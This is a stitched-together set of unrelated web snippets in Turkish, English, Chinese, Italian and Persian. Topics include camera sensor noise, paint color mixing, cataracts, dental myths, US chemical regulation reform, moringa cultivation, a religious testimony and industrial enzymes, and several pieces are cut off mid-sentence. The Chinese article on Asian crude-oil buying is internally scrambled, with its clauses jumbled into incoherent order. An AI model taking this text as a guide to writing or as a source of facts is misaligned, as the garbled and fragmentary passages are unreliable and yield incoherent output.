Başınıza gelen basit,ufak olayları değerlendirmek de buna benzer.Ah,çok güzel bir haber bu.Ah,çok kötü bir haber bu.Sığ bakış açısıyla hemen karar verirler.
Herkes tohum ekerken ağacı göremez.Görmesen de bekle,sabret.Bir dert mi geldi başına,belki koca bir çınarın tohumudur o.Tohum çatlıyor ve filizlenecektir.Onun çatırdısıdır etrafındaki acılar
Eyvallah
kitaba 10 verdi, inceleme eklemedi.The effect of temperature on CCD's
And a great new way to take quality night shots with your digicam (Nikon Coolpix 990 used for these samples). I've known this for a long time, but didn't explore it with the new 3.3 megapixel digicams. The "dark current" noise increases with temperature. Thanks to Dave Martindale for detailing this, "dark current noise is exponentially related to temperature - it DOUBLES for every 6 or 8 degrees C temperature rise (depending on the CCD)."
Taking this practically I took one shot with the camera at room temperature, leaving the camera outside for 20 minutes and took another... the results speak for themselves.
All shots were taken with the camera in Manual mode, Incandescent White Balance, Infinity Focus, ISO 100, F3.6, 8 seconds.
As you can see, pretty impressive results. I'll be updating my Coolpix 990 review with these findings, this technique also seems to work very well on the Olympus C-3030Z. Remember the same is true in the reverse, that is during the day if the camera is getting hot you're more likely to see noise in the image than if you were to store it in a shady cool place and / or let it cool down before that important shot.
The importance here is understanding the relationship between temperature and the noise you may see on your images... Knowing that may well help you when you have time to stage the shot.
Whenever you take the camera between environments of significantly different temperature you MUST let the camera cool down or warm up slowly, and you must NEVER turn the camera on until it has properly acclimatized (about 15 minutes) as you may well damage internal electronics or get condensation into the lens system.
For example, the Operating Environment stated for the Nikon Coolpix 990 is:
- Temperature: 0 � 40oC (32 � 104oF)
- Humidity: under 85% (no condensation)
Digital Photography Review accepts no responsibility to damage caused to anyone's camera equipment by this technique. Never use a refrigerator to cool your camera!Color Mixing Hints: Learn how to change color intensity without changing its value
Many times when you are painting, you will need to modify color intensity without changing its value. This may seem like a tough thing to do, but mastering this important skill is easy if you remember these three simple rules: find the complement, match the value, and add the complement.
What does that mean? Here's the scoop (refer to the illustration below as you read):
- Find the complement
Attempt to identify the hue and then find the closest match you can on the color wheel..
- Match the value
You may either darken or lighten the complement color to match the value (tone) of your chosen color. Compare the two colors side by side. To make this process easier, take a tiny swipe of the complement color on your palette knife and hold it close to your chosen color.
- Add the complement color
Finally, add a small amount of the modified complement color to your chosen color. This will not only mute your chosen color, but it will keep the value the same.
The chart shows two different applications of this process.
The blue to the left side is muted with its complementary orange. I matched the orange value to the blue by adding some black or burnt sienna. Then I add a tiny amount of the value-matched orange to the blue. As you can see, the final blue is about the same value as the old blue color. I have to match the value of the orange carefully as its value straight from the tube is lighter than the blue.
Now let's use another color (red) as an example. I pick a complementary green and adjust its value to match the tone of the red on the left. I do so by adding a bit of white and black (you can also use burnt sienna). The process is not difficult, as the value of the green is closer to that of the red on the color wheel.
This rule works well with all the colors except for yellow and violet--particularly darker yellows that have yellow ochre or burnt umber in them. Darker violets have problems, too.
The reason? The earth tones tend to make violet look too brown (or warm) rather than making it grayer.
I find it helpful, in order to correct the situation, to add French ultramarine blue (plus white if needed).
To mute yellows, violets which contain red tend to produce a warmer yellow instead of a grayed yellow. As with dark violets, you can add a bit French ultramarine blue to counter the warm tone.
In the case of graying very light violets, you can go ahead to use yellow. For this particular case, I have found that grays work better than yellow—as you can see from this picture below.
In this illustration above, you can see that the violet grayed with a mixed black and white (with the same tone) is more intense than the violet grayed with yellow (on the right). You can see how the yellow makes the violet more brown, and the color intensity is lost.
So, to control the color intensity, remember to use value-matched complementary colors to mute most colors.
Use grays to change the color intensity of violets, and use blue/violet mixtures for yellows. You might find the mixing of the complement and matching the values a bit challenging at first. I sure did, but with practice, it gets easier and easier.
Explore Drawing And Painting > Colors
There is more than just getting the right color- check the value(or tone).
Here is the tool you would find helpful to gauge the value scale of a color.
> Changing Color IntensityIf you’re approaching middle age and notice that your vision has become somewhat blurry, you should schedule a comprehensive eye exam. Cataracts are often responsible for blurry vision, faded color perception, reduced night vision, and/or increased glare from light sources. Other symptoms of opacity (clouding) of the eye lens include double vision that does not go away when the other eye is closed, increased nearsightedness, reduced ability to judge contrasts, and/or the need for more light for reading and performing detailed work. The trouble is that these symptoms may arise so gradually and subtly that those in the early stages of cataract formation may not even fully realize that their vision is changing. An eye exam can bring some clarity. Most cataracts occur with aging, but can also be present at birth (congenital cataracts) or occur at any age as the result of an eye injury (traumatic cataracts). Cataracts also can be caused by diseases such as diabetes or can occur as the result of long-term use of certain medications, such as steroids. Especially in the early stages of cataract formation, treatment with stronger eyeglass or contact lens prescriptions may help compensate for vision loss.巴塞尔协议II（Basel II）是什么？
巴塞尔协议II（Basel II）是一个国际银行监管框架，由巴塞尔银行监督委员会（Basel Committee on Banking Supervision）制定。它于2004年发布，是对之前的巴塞尔I框架的
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stains. However, it doesn’t penetrate the enamel to remove deep stains or change the natural color of your teeth.
Professional teeth whitening, whether done in a dental office or using at-home whitening kits prescribed by a dentist, uses a higher concentration of whitening agents that can effectively bleach the teeth. This means that professional whitening procedures can provide more noticeable and longer-lasting results compared to just using whitening toothpaste.
While whitening toothpaste can contribute to a brighter smile by removing surface stains, it can’t replace the effectiveness of professional teeth whitening procedures. If you’re looking to achieve significant and long-lasting teeth whitening results, it’s best to consult with a dental professional who can recommend the most appropriate whitening treatment for you.
Remember, maintaining good oral hygiene and visiting your dentist regularly are also crucial for a healthy and radiant smile.
In conclusion, it’s important to debunk these common dental myths in order to maintain better oral health. Remember, brushing harder doesn’t necessarily mean cleaning better. Instead, focus on using the right technique and brushing gently to avoid damaging your teeth and gums.
Furthermore, while sugar can contribute to cavities, it isn’t the sole cause. Maintaining a proper oral hygiene routine, including regular brushing and flossing, is crucial for preventing cavities. Don’t wait for pain to occur before seeing a dentist. Regular dental check-ups are essential for detecting and treating any oral health issues early on.
Lastly, don’t underestimate the importance of flossing. It plays a vital role in removing plaque and food particles from between your teeth, where a toothbrush can’t reach. And while whitening toothpaste can help remove surface stains, it can’t replace professional teeth whitening treatments for more significant results.
By understanding and debunking these dental myths, you can take control of your oral health and ensure a brighter, healthier smile for years to come. So, remember to brush gently, maintain a balanced diet, schedule regular dental check-ups, don’t skip flossing, and consult a professional for teeth whitening treatments if needed. Your smile will thank you!07.19.2016 Congress Finds the Formula to Reform Chemical Regulation
The Toxic Substance Control Act (TSCA) is the primary federal law by which the manufacture, import and use of chemical substances are regulated in the United States. Since its inception in 1976, TSCA has not been updated significantly. Politics played a large part in what essentially became a reform stalemate. But negotiators on both sides of the aisle reached a deal in May, and Congress in early June passed the Frank R. Lautenberg Chemical Safety for the 21st Century Act (also known as the TSCA Modernization Act of 2015). President Obama has now signed it. The Act will change considerably the landscape of chemical regulation and is perhaps the most important amendment to a federal environmental statute since the Clean Air Act Amendments of 1990.
The Act significantly improves the process by which EPA evaluates and regulates chemicals. Among other things, EPA is required to identify substances that are high priorities for risk evaluation; determine the health and environmental risks of those substances; determine, without regard to cost, whether a substance presents an unreasonable risk; and, if so, regulate it under its specified conditions of use. The Act sets forth tight timeframes in which EPA must accomplish these steps, something that industry desired.
For new chemicals, TSCA previously deemed a “pre-manufacture notice” (PMN) approved unless EPA concluded within 90 days of submission that the chemical presented an unreasonable risk. Under the Act, EPA must respond to a PMN by concluding 1) the new chemical presents an unreasonable risk; 2) there is insufficient information to determine if an unreasonable risk exists, and in the absence of sufficient information, the chemical may present an unreasonable risk; or 3) the chemical does not present an unreasonable risk. For existing chemicals, the Act creates a two-step process for considering chemical risks, with the first step involving evaluation and prioritization of risks, and the second step involving management of those risks.
The Act also preempts state restriction of chemicals that EPA determines pose no unreasonable risk. It also preempts state restriction while EPA is considering whether to regulate a high priority chemical. However, preemption does not apply to state requirements that are identical to or adopted pursuant to a federal requirement, or that are adopted pursuant to state water quality, air quality, or waste treatment or disposal regulations. Finally, state action taken prior to April 22, 2016 – such as Prop 65 in California – is grandfathered and not subject to preemption.
These are only a few of the many changes the Act will bring to manufacturers, processors and importers of chemicals, as well as large industrial users. Rulemakings from EPA will follow enactment, so those affected by the Act will need to remain vigilant.Omega-3 fatty acids are very important in preventing and managing cardiovascular and heart health.
Omega-6 fatty acids play a crucial role in brain functions and muscle development. Omega-6 acts like messengers to trigger immune responses.
Omega-9 has been known to help lower LDL (“bad”) cholesterol and raise HDL (“good”) cholesterol. Omega-9 also play a role in controlling blood sugar.
When used along with other Omega-3 and Omega-9, they help regulate metabolism, maintain bone health, support joint health, and aide in the recovery of the immune system.
- Additional Information
Directions of use
Take one to three softgels daily
Flax seed oil 1000mg28 relazioni: Accademia francese delle scienze, Apparato di Fizeau-Foucault, Astrofisica, Astronomia, Christian Doppler, Condensatore (elettrotecnica), Cratere Fizeau, Dagherrotipia, Effetto Doppler, François Arago, Interferometria, Léon Foucault, Legion d'onore, Londra, Luna, Ottica, Pellicola fotografica, Rocchetto di Ruhmkorff, Royal Society, Spostamento verso il rosso, Velocità della luce, XIX secolo, 1849, 1860, 1866, 1875, 1877, 1878.
L'Accademia francese delle scienze, o anche Accademia delle scienze di Parigi (in francese Académie des sciences de l'Institut de France o in breve Académie des sciences), è una delle società scientifiche più famose del mondo.
right L'apparato di Fizeau-Foucault è un dispositivo per il calcolo della velocità della luce.
L'astrofisica (dal greco ἄστρον «astro» e φύσις «natura, fisica») è la branca dell'astronomia o della fisica che studia le proprietà fisiche, ovvero tutti i vari fenomeni, della materia celeste.
L'astronomia è la scienza che si occupa dell'osservazione e della spiegazione degli eventi celesti.
Christian Doppler nacque a Salisburgo come figlio di uno scalpellino.
Il condensatore è un componente elettrico che immagazzina l'energia in un campo elettrostatico.
Fizeau è un cratere lunare intitolato al fisico francese Hippolyte Fizeau.
La dagherrotipia fu il primo procedimento fotografico per lo sviluppo di immagini (tuttavia non riproducibili).
L'effetto Doppler è un fenomeno fisico che consiste nel cambiamento apparente, rispetto al valore originario, della frequenza o della lunghezza d'onda percepita da un osservatore raggiunto da un'onda emessa da una sorgente che si trovi in movimento rispetto all'osservatore stesso.
Nato in un piccolo villaggio vicino a Perpignan, maggiore di quattro fratelli (tra cui Jacques, scrittore e Étienne politico e commediografo), iniziò gli studi di matematica nella scuola municipale di Perpignan.
In fisica l'interferometria è un metodo di misura che sfrutta le interferenze fra più onde coerenti fra loro, utilizzando degli strumenti detti interferometri, permettendo di eseguire misurazioni di lunghezze d'onda, di distanze e di spostamenti dello stesso ordine di grandezza della lunghezza d'onda utilizzata; con essa vengono misurate anche le velocità di propagazione della luce in vari mezzi e per vari indici di rifrazione.
Egli inoltre fece misure della velocità della luce in mezzi diversi, ed inventò il giroscopio, scoprì le correnti indotte (correnti di Foucault).
La Legion d'onore (Légion d'honneur, denominazione originale in lingua francese) è un ordine cavalleresco istituito il 19 maggio 1802 da Napoleone Bonaparte, primo console della Prima repubblica francese. È l'onorificenza più alta attribuita dalla Repubblica francese.
Londra (AFI:; in inglese britannico: London) è la capitale e maggiore città dell'Inghilterra e del Regno Unito, con i suoi abitanti.
La Luna è un satellite naturale, l'unico della Terra.
L’ottica è la branca dell'elettromagnetismo che descrive il comportamento e le proprietà della luce e l'interazione di questa con la materia (fotometria).
La pellicola fotografica è il supporto, di natura chimica, utilizzato, da più di 100 anni, nelle fotocamere analogiche, per imprimere immagini.
Un rocchetto ad induzione (conosciuto anche come rocchetto di Ruhmkorff) è un tipo di bobina a scarica disruptiva.
La Royal Society – formalmente The President, Council, and Fellows of the Royal Society of London for Improving Natural Knowledge ("Il presidente, il consiglio e i membri della Reale Società londinese per lo sviluppo della conoscenza naturale") – è un'associazione scientifica britannica, fondata il 28 novembre 1660 per iniziativa di John Evelyn e altri accademici allo scopo di promuovere l'eccellenza scientifica come viatico per il benessere della società; altri membri fondatori furono Christopher Wren, Robert Boyle, John Wilkins e William Brouncker.
Lo spostamento verso il rosso (chiamato anche effetto batocromo o, in inglese, redshift) è il fenomeno per cui la luce o un'altra radiazione elettromagnetica emessa da un oggetto ha una lunghezza d'onda maggiore rispetto a quella che aveva all'emissione.
La velocità della luce, in fisica, è la velocità di propagazione di un'onda elettromagnetica, indicata con la lettera c, dal latino celeritas ("celerità, velocità"), da quando nel 1894 fu così rappresentata da Paul Drude.
È il primo secolo dell'età contemporanea, un secolo di grandi trasformazioni sociali, politiche, culturali ed economiche a partire dalla caduta di Napoleone Bonaparte e la successiva Restaurazione, i moti rivoluzionari, la costituzione di molti stati moderni tra cui il Regno d'Italia, la guerra di secessione americana, la seconda rivoluzione industriale fra positivismo, evoluzionismo e decadentismo, l'imperialismo e sul finire la grande depressione e la Belle Époque.
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Nessuna descrizione.亚洲依然是中东原油争夺的“主战
2020-09-09 03:16 来自: 网络整理
而现货市场允许根据炼油 利润 、直接 价格 和市场结构灵活调整采购计划，因此阿曼可以在迪拜 商品 交易所(DME)买卖。
来自巴西的卢拉(Lula)是中国炼油厂青睐的另一个油种，同样，因为这些油种受到 汽油 和航空煤油需求萎缩的影响，来自中国 国有企业 和独立炼油厂的采购热潮让6月原油进口量达到创纪录的超过1300万桶/天，作为当前需求和未来市场方向的指引，是生产硫含量0.5%船用燃料油的理想选择。
中国的价格越来越有助于确定全球现货价格，例如布伦特(Brent)、WTI或者阿曼(Oman)， [中国购买有助于二季度需求复苏] 亚洲日渐成为全球原油现货市场的重要组成部分， ，防止地区失衡，经常通过官价招标的形式销售， 图为布伦特与迪拜商品交易所阿曼原油之间的价差(月度) 除了 价格波动 外，而该官价来自于迪拜 商品交易 所结算价月度平均值，尤其是较重等级(API比重小于30)， 今年原油市场经历了其定价史上最剧烈的波动，运至中国的升贴水比布伦特高出8—9美元/桶，尽管原油市场在三季度已趋于平静，这为买卖双方提供了供需保障， 来自阿布扎比的中质含硫原油阿布扎库姆(Upper Zakum)和轻质低硫原油穆尔班(Murban)，或者与官方销售价格(OSP)之间的价差， 在整个二季度。
[小结]
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Flashlights have an array of uses. They give you the power of portable lighting wherever and whenever you need it. Some of the key uses
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- DU TOIT, J.G., Penzhorn, B.L. and Van Heerden, J. 2002. Bacterial, viral and protozoal diseases. pp. 295-305. In: Bothma, J. Du P. (Ed.). Game ranch management. Fourth edition. Van Schaik Publishers: Pretoria.
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- MICHEL, A.L., Bengis, R.G., Keet, D.F., Hofmeyr, M., de Klerk, L.M., Cross, P.C., Jolles, A.E., Cooper, D., Whyte, I.J., Buss, P. and Godfroid, J. 2006. Wildlife tuberculosis in South African conservation areas: Implications and challenges. Veterinary Microbiology. Vol. 112: 91–100.
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Up until the 20th Century, the Micronesian islands were important only to the natives who lived their simple lives as fishermen and subsistence farmers. This changed as the Japanese began to build military bases through these islands in an attempt to gain tactical superiority in the Pacific. Places like Guam and Truk Lagoon came to international attention during WWII, as U.S. forces battled the Japanese through these remote South Pacific islands on their way to Tokyo. Located in Guam, the Museum of the War in the Pacific is an excellent place to learn more about this captivating history.PAT FINUCANE, CAMERON NEGA L’INCHIESTA PUBBLICA. LA FAMIGLIA: “È UN INSULTO”
Ancora una volta negata la giustizia ai familiari di Pat Finucane, avvocato di Belfast ucciso di fronte alla famiglia dai paramilitari lealisti dell’UFF nel 1989.
Volevano un inchiesta pubblica ed indipendente, sullo stampo di quella sulla Bloody Sunday, perché la verità sulla collusione delle forze di sicurezza britanniche con i killer lealisti potesse finalmente emergere.
Ma David Cameron non ha offerto altro che un riesame delle circostanze dell’omicidio nel corso di diciotto mesi, a cui la famiglia ha immediatamente rifiutato di partecipare.
“Sono così arrabbiata che riesco a malapena a parlare”, ha dichiarato Geraldine, la vedova dell’avvocato, appena finito l’incontro con il premier britannico e con il segretario di stato Owen Paterson.
La decisione, che i familiari ritengono “un insulto”, giunge dopo la promessa di un’inchiesta pubblica ed indipendente che Tony Blair non mantenne mai, e l’inchiesta annunciata nel 2004 dall’allora segretario di stato, Paul Murphy, che la famiglia Finucane rifiutò in quanto sarebbe stata unicamente sotto la responsabilità del ministro piuttosto che del parlamento.Some people just do not have the space to grow a big
full-grown, full-blown Moringa tree, so...we'll show you how to grow one, and keep it "dwarf-size".
It isn't that hard to do, but you'll have to keep up with it, until the Moringa tree realizes that it is not going to be 30 or 40 feet tall. They really seem to want to just grow into a huge tree, but with a bit of care, you can persuade them to believe that "good things come in small packages". The dwarf Moringa Stenopetala trees shown to the right, were about 2 years old, when we took this photo. They survived some very cold weather, for our area anyway, and are thriving in their 16 inch pot. The pot helps "dwarf" them. If we had planted them in the ground, they would probably be over 20 feet tall, by now. We prune ours back frequently, so they do not get "out of hand". These are the African variety of Moringa, Moringa Stenopetala. They produce lots of large, green leaves for eating, but you will not have blossoms or pods from them, for a few years.
~ ~ ~ TO GROW A DWARF MORINGA TREE ~ ~ ~
HOW TO GROW
The first thing you need to do, is to plant some Moringa seeds and let them grow into seedlings. Any variety of Moringa will work; we are featuring the African Moringa tree, Moringa Stenopetala. Plant your seeds into loose potting soil, preferably organic potting soil, as you will want to eat the leaves, buds, flower blossoms, and young pods. Keep the soil loose, as you will find that Moringas do not like heavily compacted soil or clay-like soil. If that is all that is available to you in your area, get some sand, and mix it into your soil. You can also use perlite, which they like - but - do not use vermiculite. Moringas simply detest it. We do not know why...
THINGS YOU WILL NEED
- Planting container, 12 inches to 18 inches wide
- Moringa seeds of any variety
PLANTING THE SEEDS
Fill the pot that you plan to use, for your dwarf Moringas, with loose soil as referenced above. You can grow about 5 dwarf Moringa trees, in a pot of the size recommended. We usually sow about 7 or 8 seeds, because some of them may not sprout. The goal is to end up with 3 to 5 dwarf Moringas, per pot. Make holes in the soil, well spaced apart, and about 3/4 to 1 inch deep. Put a seed in each hole, and cover lightly with the soil. Water the soil thoroughly, and put in a sunny location - preferably, but not necessarily, outside. Within 10 days, you should have Moringa sprouts from the seeds.
* If you are planting Moringa Oleifera seeds, do not despair if they do not sprout in that time. Our consistent experience with them, is that they are "fickle sprouters"!
WHAT TO DO ONCE THEY HAVE SPROUTED
The photo to the right, is of little Moringa Stenopetala sprouts. You see, that
they still have their seeds attached to their stems. That is called a cotelydon.
They will eventually fall off, after they wither. The Moringa Oleiferas will
not have those: they come up with just their leaves showing.
Wait until the Moringa seedlings have at least two tiers of branches, and then you should start to pinch back their tops. New leaves sprout at the tops of Moringas and in the junction or "crotch" of the branches. Even though Moringas grow fast, you will have to be patient while training them to stay small. Because they just love to grow, and are one of the fastest growing tropical trees, you need to check them for new leaves at least
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神，我当时就想：主啊，你要告诉我什么？你要我学习什么样的功课？在万分伤痛之余，我就读《圣经.约伯记》，魔鬼以苦难、试炼来打击他的一个义人，神为了要见证约伯对神的忠心，听凭魔鬼试探打击他。这个时候约伯是家散人亡，他的十个儿女统统死完，他的家产统统失散，我就想约伯受的惨痛比我更重，但是因为约伯始终对神有信心，忠心到底，到最后神赐给约伯的福气是比以前更多。在这个时候，我就热心在教会当更加热切地寻求主求主带领我，主耶稣说了，这个世界有苦难。有很多的原因我们不知道，但是我们知道，神有他的美好的旨意。
我也没有工作了，当时在台湾一个60岁退休的老妇人是不容易找到适当的工作的。我只好依靠主说：天父啊，我知道你怜悯我、看顾我，你会为我开路。这个时候很多人都到美国去，我有一个女儿在美国，主啊，我也到美国去，求你为我开路。祷告以后我心里很平安，大儿子给我买了一张飞机票，我那时已经没有家、两手空空，也没有余款，带着一张飞机票我就来美国了，但是我知道我的天父必为我开路。来了我暂时寄居在女儿家，但是一路我求告我的天父：主啊，我不是七老八十，我要感谢主一直赐给我健康的身体，我还能够服侍主，主啊，请你用我，我必服侍你。感谢神的恩典，不久以后，我凭着信心离开女儿家，租房子，我就到住所的附近去找教会。很感谢主，那个时候神就开路，后来有一位爱主的医生提供我一份工作，我的生活就解决了，神丰丰富富地供应我。
感谢主，在1990年复活节，我们就制作了“荣耀的早晨”的节目，在复活节早晨播出，反映非常好。一直到现在，21年了。
感谢主，我们开始时，没有地方，没有经费，只是凭着信心，就跟教会借了地下室的一个桌子开始制作我们的福音节目。过了两年，因为教会的需要以及福音中心的扩充，就靠着信心在外面租房子。刚开始，因为要节约经费，就在地下室。分享见证的这两年中，来分享见证的基督徒都觉得这个地下室环境不好，不荣耀神，我们就向神求。不久，神就赐给我们一个高楼的五楼，从大窗子看出去，蓝天白云，我们就觉得跟神跟接近。但遗憾的是没有合水准的录音室，当时我们利用洗手间，因为洗手间在中间，隔音要好得多。我们在那个地方依然制作出感人的节目，感谢神的恩典。
不久，一位基督徒愿意以优待的房租把他家的一楼提供给播音中心，比原来高楼上更加理想，但是录音室还是没有得到合理的装备，我们仰望主，知道神必赐给我们所需要的。终于到了2005年，有一家爱主的基督徒蒙神的恩典，把他楼下的两间借给我们用，我们不必交房租，只交管理费，同时有一间我们可以装修做合水准的录音室。从此，我们就有合水准的录音室，同时一位基督徒奉献了一套最好的录音器材，也有爱主的弟兄来帮助我们装修。感谢主，这时我们就万事齐备。我们播恩中心所需用的一切东西，神都感动基督徒来奉献给我们。
感谢主，我们这21年的福音单张已经增加到每个礼拜需要三千份，因为我们寄到香港、台湾、东南亚、纽约本地教会等，也有听众来信索取的。
感谢主，在我们播出十周年时，神赏赐给我们更好的事工，就是监狱事工。那时我们把见证刊登在读者最多的《世界日报》的一个专栏，在监狱里的囚犯看到这份报纸，因为他们在困难当中正是求救无门，看到这位神的大能作为，有一个年轻人就写信给我们，他说，你们的见证所介绍的这一位神是真的吗？借着这封信，我开始跟他书信来往。感谢圣灵的同工，圣灵感动这位一位年轻人，他学习祷告，学习向主决志，在他生活当中经历了神的恩典，他大为惊奇。这个时候，我们的创始人就告诉我这个年轻人在加拿大边境监狱，但是我们必须关怀他，要我坐飞机去看他。正在我们准备看他时，接到这位弟兄的来信，告诉我们他要被调到纽约上州的监狱来了。哈利路亚！感谢主，他来了以后，我们同工一起去监狱看他，也从这一件事情我们开始了监狱事工，每一个月我们去探访一次，告诉他，神爱他，主耶稣救了他，然后告诉他怎样读《圣经》，这位弟兄亲自经历了神的爱、神的恩，他在监狱里告诉他的朋友，也把他朋友带出来，因此我们同工也增加了，我们就一对一每个月去监狱做探访的事工。
当我们开始这个监狱事工以后，因为监狱的犯人有调动的规矩，所以他们到别的监狱也懂得告诉人我们这位爱人的耶稣基督。想不到的是在这几年当中我们就发展到五个监狱，已经十一、二年的时间了，感谢神的恩典。我们在传福音的成果方面，蒙神的祝福，有好多人信主，也愿意接受主，有几十个人受洗归主。尤其在这几年有人陆续地出狱了，我们感谢神的恩典，赏赐给我们结福音的果子，同时我们的福音见证单张第十年的时候，我们结集成册，印了四本见证合订本，这四本合订本的费用也是爱主的基督徒奉献的。当福音事工有需要的时候，神就感动基督徒奉献，感谢神的预备。当我们愿意为神付出时，神给我们的恩典是加倍又加倍。
感谢主，我要感恩，我今年85岁，但是我自从21年前来参与这个福音事工到现在，我每天都蒙神的恩典，身体健康，每一天心里喜乐平安，我没有一天伤风咳嗽，甚至头痛都没有。亲爱的朋友，你能想象吗？一个八十几岁的老太太，这样健健康康地过日子。每天天亮，我就高高兴兴、欢欢喜喜地背着我的背包来到播恩中心，我每天在这里心里充满喜乐地服侍主，到了下午，我高高兴兴、满心喜乐地回家。
但是在我在我80岁那年，我在播音中心接到一个电话，女儿打电话说，妈妈，今天哥哥不舒服，我陪他去看医生，医生诊断是肝癌，而且只有三个月的生命。我有了第一次受打击的经验，我跪下来，说：“主，你是掌管一切的，你的旨意是美好的，我们只要信靠主，主你的恩典够我用的。虽然我的儿子只有三个月的生命，但是主你要留存他的生命，他还能活下去，如果主你要接他会天家安息，主，我感谢你。”我祷告后，心里有平安。因为是《圣经》告诉我们，我们凡事要信靠、交托，然后要顺服。我顺服主，不管怎么样，我信靠主。感谢主，果然没有超过三个月，我的儿子安息了。我唯一向神求的就是，肝癌临终之前会很痛苦，主，求你怜悯，不要让我的儿子遭受痛苦，主你的平安在他身。，慈爱的天父听我祷告，我的儿子没有痛苦，他只是在家里安安静静地身体日渐衰落，得到我媳妇爱心的照顾，得到神赐的平安，没有悲伤，没有痛苦。最后，我儿子是昏迷了，天快亮时，他就闭上眼睛，停止了呼吸，神让他安息在天家。
我们感谢主，感谢教会的弟兄姊妹的关怀、爱心和安慰。今年是我儿子去世的第五年了。五年来，我们没有悲伤，没有痛苦，没有缺乏，神的恩典在我们家中，我和我媳妇、孙女在主的爱里彼此相爱、彼此扶持，我们真是享受神赐给我们的平安喜乐。亲爱的朋友，来信靠主吧。世界有苦难，但是主耶稣应许我们，在他的里面有平安，到主的面前来，主看顾、保守、带领，主的恩典够我们所需用的，这是我一生从主得到的主的爱、主的恩典的见证，丰丰富富的。虽然我年纪这么大了，但是看到我的人、看到我的健康，这都是神的恩典。但愿每一位朋友，大家都在主里面得到神丰
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همچنین استفاده از آنزیم ها به طور کلی اجازه می دهد تا فرایند و محصولات تولید شده به عنوان طبیعی اعمال شود.
با افزایش شناخت از میکروارگانیسم ها و پیشرفت علم میکروب شناسی و بیوتکنولوژی استفاده از میکروب ها و آنزیم های حاصل از آن ها و سایر متابولیت های میکروبی، به عنوان راهبردی جهت تولید مواد غذایی و افزایش بازدهی و بهبود فرآیندهای تولید مطرح گردید.
آنزیم ها پروتئین هایی هستند که موجب تسریع واکنش های شیمیایی می گردند. در تمامی سلول های زنده انجام کلیه واکنش های شیمیایی به حضور آنزیم ها وابستگی داشته و بدون کمک این پروتیین ها این واکنش ها یا با سرعت پایین انجام شده و یا ممکن است اصلا انجام نشوند. به طور کلی آنزیم ها را به 6 دسته با توجه به واکنش آن ها تقسیم بندی نموده اند.
از آنزیم ها در غلات، صنایع روغن، منعقدکردن شیر و در صنایع نشاسته استفاده می شود. استفاده از آنزیم ها به عنوان راهبردی جهت تولید مواد غذایی و افزایش بازدهی و بهبود فرآیندهای تو لید می تواند نقش مهمی در صنعت داشته باشد. اما به طور کلی استفاده از آنزیم ها در صنعت موجب کاهش هزینه ها و اقتصادی تر شدن فرآیندهای تولید می گردد.
استفاده از آنزیم آلفا آمیلاز در تولید قند و شکر دارای دو ویژگی می باشد:
اول آنکه در اواخر دوره بهره برداري و يا در اثر يخبندان، توليد نشاسته در ني زيادتر مي شود و در پروسه بهره برداري، باعث ژلاتينه شدن نشاسته مي گردد. آنزيم آلفا آميلاز، نشاسته را شكسته و مانع ژلاتينه شدن و تأثير گذاري بر پروسه توليد مي شود.
دوم آنکه نشاسته حتي به مقدار اندك در ني وجود دارد و به همراه شربت وارد پروسه بهره برداري مي شود. همين مقدار اندك نشاسته به عنوان ناخالصي محسوب شده و از يك طرف مانع كريستاليزه شدن حد اكثر شده و از طرف ديگر در صدي از شكر بصورت پودر توليد مي شود. آنزيم آلفا آميلاز، مقدار اندك نشاسته موجود را شكسته و باعث به حداكثر رساندن دانه هاي كريستاليزه شده و نيز تبديل پودر شكر به دانه هاي كريستال مي شود.
این آنزیم در دو مرحله استفاده مي شود:
الف: در مرحله تبخیر: در سومين مرحله تبخیر مورد استفاده قرار گرفته و مقدار مصرف آلفا آميلاز در اين مرحله 2 گرم به ازاء هر تن نيشكر ورودي به كارخانه مي باشد.
ب: در مرحله پخت اول شكر (پخت A): ميزان مصرف آلفا آميلاز در این مرحله 15 تا 20 گرم به ازاء هر تن شكر توليد شده مي باشد.
آنزیم های صنعت نشاسته
تولید انواع شربت گلوکز (در غلظت های مختلف) از ذرت، الکل صنعتی از ذرت، گندم، سیب زمینی و تولید شربت اینورت به وسیله آنزیمها، با توجه به افزایش کیفیت محصول و افزایش سهولت تولید و قابل کنترل بودن فرآیند تولید نسبت به روش های قدیمی و اسیدی، رو به گسترش میباشد.
آنزیمهای مورد استفاده در این صنایع عبارتند از: آلفا آمیلاز حرارتی، گلوکوآمیلاز و اینورتاز
آلفا آمیلاز حرارتی
این نوع خاص از آلفا آمیلاز، دارای ویژگی مقاومت نسبت به دماهای بالا تا 115 درجه سانتیگراد را داشته و لذا قابل استفاده در دستگاه جت کوکر جهت تولید انواع شربت گلوکز آنزیمی می باشد.
گلوکوآمیلاز
این آنزیم مورد استفاده در مرحله دوم هیدرولیز نشاسته جهت تولید شربت با غلظت قندهای مختلف (DE) می باشد.
اینورتاز
مصرف عمده این آنزیم، تبدیل ساکاروز به مولکولهای قندی سادهتر فروکتوز و گلوکز جهت تولید شربت اینورت می باشد.
تولید شربت اینورت آنزیمی، دارای رنگ و طعم بهتری نسبت به تولید این محصول به روش اسیدی بوده و دارای ارزش افزوده بسیار بیشتری میباشد. همچنین کنترل فرآیند و میزان تبدیل ساکاروز در روش آنزیمی بسیار راحت تر از روش اسیدی میباشد.
مهمترین پلیساكاریدی كه در صنایع غذایی استفاده میشود، نشاسته است. تولید آنزیمی گلوكز با استفاده از آنزیم آمیلاز بدست آمده از باسیلوس سوبتیلیس و آمیلوگلوكزیداز حاصل از آسپرژیلوس، جایگزین روشهای قدیمی هیدرولیز اسیدی شده است. سرعت عمل، عدم آلودگی و امكان تولید دكستروز در مقیاس صنعتی از مزایای عمدة روش آنزیمی، میباشد. البته با پیشرفت فناوری DNA نوتركیب، امكان تولید آنزیمهای میكروبی پایدار در دمای بالا جهت هیدرولیز آنزیمی و بالطبع تولید صنعتی و گستردة گلوكز فراهم شده است.
همچنین با استفاده از آنزیم آلفاآمیلاز میتوان نشاسته را به شربتهایی با معادل دكستروز (DE) پایین تبدیل كرد. اگر علاوه بر این آنزیم از آنزیمهای گلوكوآمیلاز و گلوكزایزومراز نیز استفاده گردد، میتوان محصولی با شیرینی معادل ساكارز به نام HFCS تولید كرد.
تولید HFCS، یكی از بهترین مثالهای بكارگیری آنزیم در یك فرایند تجارتی میباشد. گزارش شده است كه معرفی این محصول در ایالات متحده امریكا باعث صرفهجویی معادل 1.3 میلیارد دلار در واردات شكر در سال 1980 شد
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story that Emma has heard before. In fact, she helps Grandma to tell the story properly. It seems that Mommy, Daddy, Sam and their dog Marley were very happy but they longed for a baby girl. They waited and waited for a little girl to arrive. Finally, they heard about a baby girl in China who needed a family.
